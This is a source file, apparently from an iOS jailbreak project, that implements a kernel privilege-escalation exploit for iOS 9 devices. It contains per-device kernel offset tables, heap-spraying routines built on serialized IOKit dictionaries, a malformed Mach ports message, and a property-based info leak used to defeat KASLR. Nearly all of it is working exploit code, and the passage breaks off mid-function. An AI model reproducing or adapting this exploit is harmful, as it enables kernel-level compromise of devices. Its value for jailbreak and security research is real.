//
//  exploit.c
//  Blizzard Jailbreak
//
//  Created by GeoSn0w on 7/27/22.
//  Copyright © 2022 GeoSn0w. All rights reserved.
//

#include "../Phoenix Exploit/exploit.h"
// Bugs by NSO Group / Ian Beer.
// Exploit by Siguza & tihmstar.
// Thanks also to Max Bazaliy.

#include <stdint.h>             // uint32_t, uint64_t
#include <stdio.h>              // fprintf, stderr
#include <string.h>             // memcpy, memset, strncmp
#include <unistd.h>             // getpid
#include <mach/mach.h>
#include <stdlib.h>

#include "../IOKit/IOKitLib.h"
#include "../IOKit/iokitmig.h"
#include <assert.h>
#include <sched.h>

/*#include "nexploit.h"
 #include "offsetfinder.h"
 #include "thread.h"*/
mach_port_t tfp0 = 0;
uintptr_t KernelBase = 0;
kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs);

void suspend_all_threads() {
    thread_act_t other_thread, current_thread;
    unsigned int thread_count;
    thread_act_array_t thread_list;
    
    current_thread = mach_thread_self();
    int result = task_threads(mach_task_self(), &thread_list, &thread_count);
    if (result == -1) {
        exit(1);
    }
    if (!result && thread_count) {
        for (unsigned int i = 0; i < thread_count; ++i) {
            other_thread = thread_list[i];
            if (other_thread != current_thread) {
                int kr = thread_suspend(other_thread);
                if (kr != KERN_SUCCESS) {
                    mach_error("thread_suspend:", kr);
                    exit(1);
                }
            }
        }
    }
}

void resume_all_threads() {
    thread_act_t other_thread, current_thread;
    unsigned int thread_count;
    thread_act_array_t thread_list;
    
    current_thread = mach_thread_self();
    int result = task_threads(mach_task_self(), &thread_list, &thread_count);
    if (result == -1) {
        exit(1);
    }
    if (!result && thread_count) {
        for (unsigned int i = 0; i < thread_count; ++i) {
            other_thread = thread_list[i];
            if (other_thread != current_thread) {
                int kr = thread_resume(other_thread);
                if (kr != KERN_SUCCESS) {
                    mach_error("thread_suspend:", kr);
                    exit(1);
                }
            }
        }
    }
}

#import <UIKit/UIKit.h>
#include <sys/utsname.h>
#include <sys/sysctl.h>

uint32_t find_kerneltask(void){
    struct utsname systemInfo;
    uname(&systemInfo);
    NSArray *isA5orA5X = [NSArray arrayWithObjects:@"iPad2,1",@"iPad2,2",@"iPad2,3",@"iPad2,4",@"iPad2,5",@"iPad2,6",@"iPad2,7",@"iPad3,1",@"iPad3,2",@"iPad3,3",@"iPhone4,1",@"iPod5,1", nil];
    size_t size;
    sysctlbyname("kern.version", NULL, &size, NULL, 0);
    char *kernelVersion = malloc(size);
    sysctlbyname("kern.version", kernelVersion, &size, NULL, 0);
    printf("%s\n",kernelVersion);
    
    char *newkernv = malloc(size - 44);
    char *semicolon = strchr(kernelVersion, '~');
    int indexofsemi = (int)(semicolon - kernelVersion);
    int indexofrootxnu = indexofsemi;
    while (kernelVersion[indexofrootxnu - 1] != '-') {
        indexofrootxnu -= 1;
    }
    memcpy(newkernv, &kernelVersion[indexofrootxnu], indexofsemi - indexofrootxnu + 2);
    newkernv[indexofsemi - indexofrootxnu + 2] = '\0';
    NSString *KernelVersion = [NSString stringWithUTF8String:newkernv];
    if([isA5orA5X containsObject:[NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding]]) {
        if ([[NSArray arrayWithObjects:@"3248.61.1~1",@"3248.60.9~1",@"3248.60.8~1",@"3248.60.4~1",@"3248.60.3~3",@"3248.50.21~4",@"3248.50.20~1",@"3248.50.18~1",@"3248.41.4~2",@"3248.41.4~3",@"3248.41.3~1",@"3248.40.173.0.1~1",@"3248.40.166.0.1~1",@"3248.40.155.1.1~3", nil] containsObject:KernelVersion]) { //9.3b1-9.3.6
            return 0x8041200c;
        }
        if ([[NSArray arrayWithObjects:@"3248.21.1~2",@"3248.21.2~1", nil] containsObject:KernelVersion]) { //9.2b3-9.2.1
            return 0x8040b00c;
        }
        if ([[NSArray arrayWithObjects:@"3248.20.39~8", nil] containsObject:KernelVersion]) { //9.2b2
            return 0x8040a00c;
        }
        if ([[NSArray arrayWithObjects:@"3248.20.33.0.1~7", nil] containsObject:KernelVersion]) { //9.2b1
            return 0x8041600c;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.42~4",@"3248.10.41~1",@"3248.10.38~3",@"3248.10.27~1", nil] containsObject:KernelVersion]){ //9.1b1-9.1
            return 0x8041400c;
        }
        if ([[NSArray arrayWithObjects:@"3248.1.3~1",@"3248.1.2~3",@"3247.1.88.1.1~1", nil] containsObject:KernelVersion]) { //9.0b5-9.0.2
            return 0x8041300c;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.56~1", nil] containsObject:KernelVersion]) { //9.0b4
            return 0x8041100c;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.36.0.1~9", nil] containsObject:KernelVersion]) { //9.0b3
            return 0x8041200c;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.6.1.1~2", nil] containsObject:KernelVersion]) { //9.0b2
            return 0x80417098;
        }
        if ([[NSArray arrayWithObjects:@"3216.0.0.1.15~2", nil] containsObject:KernelVersion]) { //9.0b1
            return 0x80414098;
        }
        return 0x8041200c;
    } else {
        if ([[NSArray arrayWithObjects:@"3248.61.1~1",@"3248.60.9~1",@"3248.60.8~1",@"3248.60.4~1",@"3248.60.3~3",@"3248.50.21~4",@"3248.50.20~1",@"3248.50.18~1",@"3248.41.4~2",@"3248.41.4~3",@"3248.41.3~1",@"3248.40.173.0.1~1",@"3248.40.166.0.1~1",@"3248.40.155.1.1~3", nil] containsObject:KernelVersion]) { //9.3b1-9.3.6
            return 0x8041a00c;
        }
        if ([[NSArray arrayWithObjects:@"3248.31.3~2",@"3248.21.2~1",@"3248.21.1~2",@"3248.20.39~8", nil] containsObject:KernelVersion]) { //9.2b2-9.2.1
            return 0x8041200c;
        }
        if ([[NSArray arrayWithObjects:@"3248.20.33.0.1~7", nil] containsObject:KernelVersion]) { //9.2b1
            return 0x8041e00c;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.42~4",@"3248.10.41~1",@"3248.10.38~3", nil] containsObject:KernelVersion]) { //9.1b3-9.1 (assume 9.1b2)
            return 0x8041b00c;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.27~1", nil] containsObject:KernelVersion]) { //9.1b1
            return 0x8041a00c;
        }
        if ([[NSArray arrayWithObjects:@"3248.1.3~1",@"3248.1.2~3",@"3247.1.88.1.1~1", nil] containsObject:KernelVersion]) { //9.0b5-9.0.2
            return 0x8041900c;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.56~1", nil] containsObject:KernelVersion]) { //9.0b4
            return 0x8041800c;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.36.0.1~9", nil] containsObject:KernelVersion]) { //9.0b3
            return 0x8041a00c;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.6.1.1~2", nil] containsObject:KernelVersion]) { //9.0b2
            return 0x8041f098;
        }
        if ([[NSArray arrayWithObjects:@"3216.0.0.1.15~2", nil] containsObject:KernelVersion]) { //9.0b1
            return 0x8041b098;
        }
        return 0x8041a00c;
    }
}

uint32_t find_ipcspacekernel(void){
    struct utsname systemInfo;
    uname(&systemInfo);
    NSArray *isA5orA5X = [NSArray arrayWithObjects:@"iPad2,1",@"iPad2,2",@"iPad2,3",@"iPad2,4",@"iPad2,5",@"iPad2,6",@"iPad2,7",@"iPad3,1",@"iPad3,2",@"iPad3,3",@"iPhone4,1",@"iPod5,1", nil];
    size_t size;
    sysctlbyname("kern.version", NULL, &size, NULL, 0);
    char *kernelVersion = malloc(size);
    sysctlbyname("kern.version", kernelVersion, &size, NULL, 0);
    printf("%s\n",kernelVersion);
    
    char *newkernv = malloc(size - 44);
    char *semicolon = strchr(kernelVersion, '~');
    int indexofsemi = (int)(semicolon - kernelVersion);
    int indexofrootxnu = indexofsemi;
    while (kernelVersion[indexofrootxnu - 1] != '-') {
        indexofrootxnu -= 1;
    }
    memcpy(newkernv, &kernelVersion[indexofrootxnu], indexofsemi - indexofrootxnu + 2);
    newkernv[indexofsemi - indexofrootxnu + 2] = '\0';
    NSString *KernelVersion = [NSString stringWithUTF8String:newkernv];
    if([isA5orA5X containsObject:[NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding]]) {
        if ([[NSArray arrayWithObjects:@"3248.61.1~1",@"3248.60.9~1",@"3248.60.8~1",@"3248.60.4~1",@"3248.60.3~3",@"3248.50.21~4",@"3248.50.20~1",@"3248.50.18~1",@"3248.41.4~2",@"3248.41.4~3",@"3248.41.3~1", nil] containsObject:KernelVersion]) { //9.3b4-9.3.6
            return 0x80456664;
        }
        if ([[NSArray arrayWithObjects:@"3248.40.173.0.1~1",@"3248.40.166.0.1~1", nil] containsObject:KernelVersion]) { //9.3b1-9.3b3
            return 0x80456674;
        }
        if ([[NSArray arrayWithObjects:@"3248.31.3~2",@"3248.21.2~1",@"3248.21.1~2", nil] containsObject:KernelVersion]) { //9.2b3-9.2.1
            return 0x8044f660;
        }
        if ([[NSArray arrayWithObjects:@"3248.20.39~8", nil] containsObject:KernelVersion]) { //9.2b2
            return 0x8044de60;
        }
        if ([[NSArray arrayWithObjects:@"3248.20.33.0.1~7", nil] containsObject:KernelVersion]) { //9.2b1
            return 0x80459e60;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.42~4",@"3248.10.41~1",@"3248.10.38~3", nil] containsObject:KernelVersion]) { //9.1b2-9.1
            return 0x80457e50;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.27~1", nil] containsObject:KernelVersion]) { //9.1b1
            return 0x80457dd0;
        }
        if ([[NSArray arrayWithObjects:@"3248.1.3~1",@"3248.1.2~3",@"3247.1.88.1.1~1", nil] containsObject:KernelVersion]) { //9.0b5-9.0.2
            return 0x80456dc0;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.56~1", nil] containsObject:KernelVersion]) { //9.0b4
            return 0x80454d44;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.36.0.1~9", nil] containsObject:KernelVersion]) { //9.0b3
            return 0x80455d34;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.6.1.1~2", nil] containsObject:KernelVersion]) { //9.0b2
            return 0x8045cc10;
        }
        if ([[NSArray arrayWithObjects:@"3216.0.0.1.15~2", nil] containsObject:KernelVersion]) { //9.0b1
            return 0x80459af4;
        }
        return 0x80456664;
    } else {
        if ([[NSArray arrayWithObjects:@"3248.61.1~1",@"3248.60.9~1",@"3248.60.8~1",@"3248.60.4~1",@"3248.60.3~3",@"3248.50.21~4",@"3248.50.20~1",@"3248.50.18~1",@"3248.41.4~2",@"3248.41.4~3",@"3248.41.3~1",@"3248.40.173.0.1~1",@"3248.40.166.0.1~1",@"3248.40.155.1.1~3", nil] containsObject:KernelVersion]) { //9.3b1-9.3.6
            return 0x8045e798;
        }
        if ([[NSArray arrayWithObjects:@"3248.31.3~2",@"3248.21.2~1",@"3248.21.1~2", nil] containsObject:KernelVersion]) { //9.2b3-9.2.1
            return 0x80456784;
        }
        if ([[NSArray arrayWithObjects:@"3248.20.39~8", nil] containsObject:KernelVersion]) { //9.2b2
            return 0x80455f84;
        }
        if ([[NSArray arrayWithObjects:@"3248.20.33.0.1~7", nil] containsObject:KernelVersion]) { //9.2b1
            return 0x80461f84;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.42~4",@"3248.10.41~1",@"3248.10.38~3", nil] containsObject:KernelVersion]) { //9.1b3-9.1 (assume 9.1b2)
            return 0x8045ef74;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.42~4",@"3248.10.41~1",@"3248.10.38~3", nil] containsObject:KernelVersion]) { //9.1b3-9.1 (assume 9.1b2)
            return 0x8045ef74;
        }
        if ([[NSArray arrayWithObjects:@"3248.10.27~1", nil] containsObject:KernelVersion]) { //9.1b1
            return 0x8045def4;
        }
        if ([[NSArray arrayWithObjects:@"3248.1.3~1",@"3248.1.2~3",@"3247.1.88.1.1~1", nil] containsObject:KernelVersion]) { //9.0b5-9.0.2
            return 0x8045cee4;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.56~1", nil] containsObject:KernelVersion]) { //9.0b4
            return 0x8045be68;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.36.0.1~9", nil] containsObject:KernelVersion]) { //9.0b3
            return 0x8045de58;
        }
        if ([[NSArray arrayWithObjects:@"3247.1.6.1.1~2", nil] containsObject:KernelVersion]) { //9.0b2
            return 0x80464d34;
        }
        if ([[NSArray arrayWithObjects:@"3216.0.0.1.15~2", nil] containsObject:KernelVersion]) { //9.0b1
            return 0x80460c18;
        }
        return 0x8045e798;
    }
}

#define SIZEOF_BYTES_MSG 384

enum
{
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,
    
    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,
    
    kOSSerializeEndCollection   = 0x80000000U,
    
    kOSSerializeMagic           = 0x000000d3U,
};

uintptr_t kslide = 0;
mach_port_t fakeportData;


#define MIG_MAX 0x1000
#define PUSH(v) \
do \
{ \
if(idx >= MIG_MAX / sizeof(uint32_t)) \
{ \
return KERN_NO_SPACE; \
} \
dict[idx] = (v); \
++idx; \
} while(0)


/*** XXX ***/
// TODO: rework this to a lookup table/registry

////#define KERNEL_TASK         0x8041200c //iPod5,1
//#define KERNEL_TASK         0x8041a00c //iPhone5,2 9.3.3
//
//// easiest to grab in convert_task_suspension_token_to_port
////#define IPC_SPACE_KERNEL    0x80456664 //iPod5,1
//#define IPC_SPACE_KERNEL    0x8045e798 //iPhone5,2 9.3.3

#define TASK_BSDINFO_OFFSET 0x200
#define BSDINFO_PID_OFFSET  0x8
/*** XXX ***/


static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port)
{
    kern_return_t err, ret;
    static io_master_t master = MACH_PORT_NULL;
    if(master == MACH_PORT_NULL)
    {
        ret = host_get_io_master(mach_host_self(), &master);
        if(ret != KERN_SUCCESS)
        {
            return ret;
        }
    }
    
    if(size > SIZEOF_BYTES_MSG)
    {
        return KERN_NO_SPACE;
    }
    
    uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 };
    size_t idx = 0;
    
    PUSH(kOSSerializeMagic);
    PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
    PUSH(kOSSerializeSymbol | 4);
    PUSH(0x0079656b); // "key"
    PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
    
    for(size_t i = 0; i < num; ++i)
    {
        PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG);
        if(mem && size)
        {
            memcpy(&dict[idx], mem, size);
        }
        memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size);
        idx += SIZEOF_BYTES_MSG / 4;
    }
    
    ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port);
    if(ret == KERN_SUCCESS)
    {
        ret = err;
    }
    return ret;
}


#define msgh_request_port   msgh_remote_port
#define msgh_reply_port     msgh_local_port

static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
{
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_ool_ports_descriptor_t init_port_set;
        NDR_record_t NDR;
        mach_msg_type_number_t init_port_setCnt;
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    
    union {
        Request In;
        Reply Out;
    } Mess;
    Request *InP = &Mess.In;
    Reply *OutP = &Mess.Out;
    
    InP->msgh_body.msgh_descriptor_count = 1;
    InP->init_port_set.address = (void*)(init_port_set);
    InP->init_port_set.count = real_count;
    InP->init_port_set.disposition = 19;
    InP->init_port_set.deallocate =  FALSE;
    InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    InP->NDR = NDR_record;
    InP->init_port_setCnt = fake_count; // was real_count
    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_request_port = task;
    InP->Head.msgh_reply_port = mig_get_reply_port();
    InP->Head.msgh_id = 3403;
    
    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if(ret == KERN_SUCCESS)
    {
        ret = OutP->RetCode;
    }
    return ret;
}

#if 0
static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt)
{
    
#ifdef  __MigPackStructs
#pragma pack(4)
#endif
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
        mach_msg_type_number_t property_nameCnt;
        char property_name[128];
        mach_msg_type_number_t dataCnt;
    } Request __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif
    
#ifdef  __MigPackStructs
#pragma pack(4)
#endif
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_type_number_t dataCnt;
        char data[4096];
        mach_msg_trailer_t trailer;
    } Reply __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif
    
#ifdef  __MigPackStructs
#pragma pack(4)
#endif
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_type_number_t dataCnt;
        char data[4096];
    } __Reply __attribute__((unused));
#ifdef  __MigPackStructs
#pragma pack()
#endif
    /*
     * typedef struct {
     *  mach_msg_header_t Head;
     *  NDR_record_t NDR;
     *  kern_return_t RetCode;
     * } mig_reply_error_t;
     */
    
    union {
        Request In;
        Reply Out;
    } Mess;
    
    Request *InP = &Mess.In;
    Reply *Out0P = &Mess.Out;
    
    mach_msg_return_t msg_result;
    unsigned int msgh_size;
    unsigned int msgh_size_delta;
    
    
#ifdef  __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined
    kern_return_t check_result;
#endif  /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */
    
    __DeclareSendRpc(2812, "io_registry_entry_get_property_bytes")
    
    InP->NDR = NDR_record;
    
#ifdef USING_MIG_STRNCPY_ZEROFILL
    if (mig_strncpy_zerofill != NULL) {
        InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128);
    } else {
#endif /* USING_MIG_STRNCPY_ZEROFILL */
        InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128);
#ifdef USING_MIG_STRNCPY_ZEROFILL
    }
#endif /* USING_MIG_STRNCPY_ZEROFILL */
    
    msgh_size_delta = _WALIGN_(InP->property_nameCnt);
    msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta;
    InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
    
    if (*dataCnt < 4096)
        InP->dataCnt = *dataCnt;
    else
        InP->dataCnt = 4096;
    
    InP = &Mess.In;
    InP->Head.msgh_bits =
    MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    /* msgh_size passed as argument */
    InP->Head.msgh_request_port = registry_entry;
    InP->Head.msgh_reply_port = mig_get_reply_port();
    InP->Head.msgh_id = 2812;
    InP->Head.msgh_reserved = 0;
    
    /* BEGIN VOUCHER CODE */
    
#ifdef USING_VOUCHERS
    if (voucher_mach_msg_set != NULL) {
        voucher_mach_msg_set(&InP->Head);
    }
#endif // USING_VOUCHERS
    
    /* END VOUCHER CODE */
    
    __BeforeSendRpc(2812, "io_registry_entry_get_property_bytes")
    msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    __AfterSendRpc(2812, "io_registry_entry_get_property_bytes")
    if (msg_result != MACH_MSG_SUCCESS) {
        __MachMsgErrorWithoutTimeout(msg_result);
        { return msg_result; }
    }
    
    
#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined)
    check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P);
    if (check_result != MACH_MSG_SUCCESS)
    { return check_result; }
#endif  /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */
    
    if (Out0P->dataCnt > *dataCnt) {
        (void)memcpy((char *) data, (const char *) Out0P->data,  *dataCnt);
        *dataCnt = Out0P->dataCnt;
        { return MIG_ARRAY_TOO_LARGE; }
    }
    (void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt);
    
    *dataCnt = Out0P->dataCnt;
    
    return KERN_SUCCESS;
}
#endif

typedef struct __attribute__((__packed__)) {
    uint32_t ip_bits;
    uint32_t ip_references;
    struct __attribute__((__packed__)) {
        uint32_t data;
        uint32_t pad;
        uint32_t type;
    } ip_lock;
    struct __attribute__((__packed__)) {
        struct __attribute__((__packed__)) {
            struct __attribute__((__packed__)) {
                uint32_t flags;
                uintptr_t waitq_interlock;
                uint64_t waitq_set_id;
                uint64_t waitq_prepost_id;
                struct __attribute__((__packed__)) {
                    uintptr_t next;
                    uintptr_t prev;
                } waitq_queue;
            } waitq;
            uintptr_t messages;
            natural_t seqno;
            natural_t receiver_name;
            uint16_t msgcount;
            uint16_t qlimit;
        } port;
        uintptr_t imq_klist;
    } ip_messages;
    natural_t ip_flags;
    uintptr_t ip_receiver;
    uintptr_t ip_kobject;
    uintptr_t ip_nsrequest;
    uintptr_t ip_pdrequest;
    uintptr_t ip_requests;
    uintptr_t ip_premsg;
    uint64_t  ip_context;
    natural_t ip_mscount;
    natural_t ip_srights;
    natural_t ip_sorights;
} kport_t;

#define LOG(str, args...) \
do \
{ \
fprintf(stderr, str " [%u]\n", ##args, __LINE__); \
} while(0)

#define OUT_LABEL(label, code...) \
do \
{ \
ret = (code); \
if(ret != KERN_SUCCESS) \
{ \
LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
goto label; \
} \
} while(0)

#define OUT(code...) OUT_LABEL(out, ##code)


uint32_t copyinPort(kport_t *kport, int cnt){
    
    kern_return_t err, ret;
    task_t self = mach_task_self();
    io_service_t service = MACH_PORT_NULL;
    io_connect_t client = MACH_PORT_NULL;
    io_iterator_t it = MACH_PORT_NULL;
    io_object_t o = MACH_PORT_NULL;
    
    mach_port_t data;
    OUT(spray_data(NULL, 0, 5, &data));
    
    service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
    if(!MACH_PORT_VALID(service))
    {
        LOG("Invalid service");
        goto out;
    }
    char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    
    kport_t *kpbuf = (kport_t*)(tst+4);
    for (int i=0; i<cnt; i++) {
        kpbuf[i] = kport[i];
    }
    
    const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
    OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client));
    
    OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
    
    bool found = false;
    while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
    {
        uintptr_t buf[16];
        uint32_t size = (uint32_t)sizeof(buf);
        ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
        if(ret == KERN_SUCCESS)
        {
            mach_port_deallocate(self, data);
            data = MACH_PORT_NULL;
            //OUT(spray_data(&kport, sizeof(kport), 16, &data));
            OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
            
            kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000;
            return (uint32_t)buf[4] - 0x78;
            
            /* BREAKPOINT HERE */
            
            found = true;
        }
        IOObjectRelease(o);
        o = MACH_PORT_NULL;
    }
    
out:;
    if(it != MACH_PORT_NULL)
    {
        IOObjectRelease(it);
        it = MACH_PORT_NULL;
    }
    if(client != MACH_PORT_NULL)
    {
        IOObjectRelease(client);
        client = MACH_PORT_NULL;
    }
    if(service != MACH_PORT_NULL)
    {
        IOObjectRelease(service);
        service = MACH_PORT_NULL;
    }
    if(data != MACH_PORT_NULL)
    {
        mach_port_deallocate(self, data);
        data = MACH_PORT_NULL;
    }
    return 0;
}

#pragma pack(4)
typedef struct {
    mach_msg_header_t Head;
    mach_msg_body_t msgh_body;
    mach_msg_ool_ports_descriptor_t init_port_set[];
} Request;
#pragma pack()

void release_port_ptrs(mach_port_t port){
    char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)];
    if (mach_msg((mach_msg_header_t*)req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS)
        printf("[!] Error mach_recv\n");
}

mach_port_t kp = 0;
mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
    if (!kp) {
        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
        mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
    }
    
    mach_port_t mp = 0;
    
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
    mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
    
    assert(0 == send_ports(mp, kp, 2, number_port_descs));
    
    return mp;
}

kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
{
    mach_port_t init_port_set[num];
    for(size_t i = 0; i < num; ++i)
    {
        init_port_set[i] = payload;
    }
    
    typedef struct {
        mach_msg_header_t Head;
        mach_msg_body_t msgh_body;
        mach_msg_ool_ports_descriptor_t init_port_set[0];
    } Request;
    
    char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
    Request *InP = (Request*)buf;
    InP->msgh_body.msgh_descriptor_count = number_port_descs;
    for (int i = 0; i < number_port_descs; i++) {
        InP->init_port_set[i].address = (void *)(init_port_set);
        InP->init_port_set[i].count = num;
        InP->init_port_set[i].disposition = 19;
        InP->init_port_set[i].deallocate =  FALSE;
        InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    }
    
    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    /* msgh_size passed as argument */
    InP->Head.msgh_request_port = target;
    InP->Head.msgh_reply_port = 0;
    InP->Head.msgh_id = 1337;
    
    return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
}

uint32_t spray_data2(char *data, size_t datasize, unsigned count)
{
    kern_return_t kr = 0, err = 0;
    mach_port_t master = MACH_PORT_NULL;
    io_service_t serv = 0;
    io_connect_t conn = 0;
    
    
    char dict[4096+512];
    uint32_t idx = 0; // index into our data
    
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
    
    WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
    
    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries
    
    WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
    WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian
    
    WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte
    
    for (int i=0; i<count; i++) {
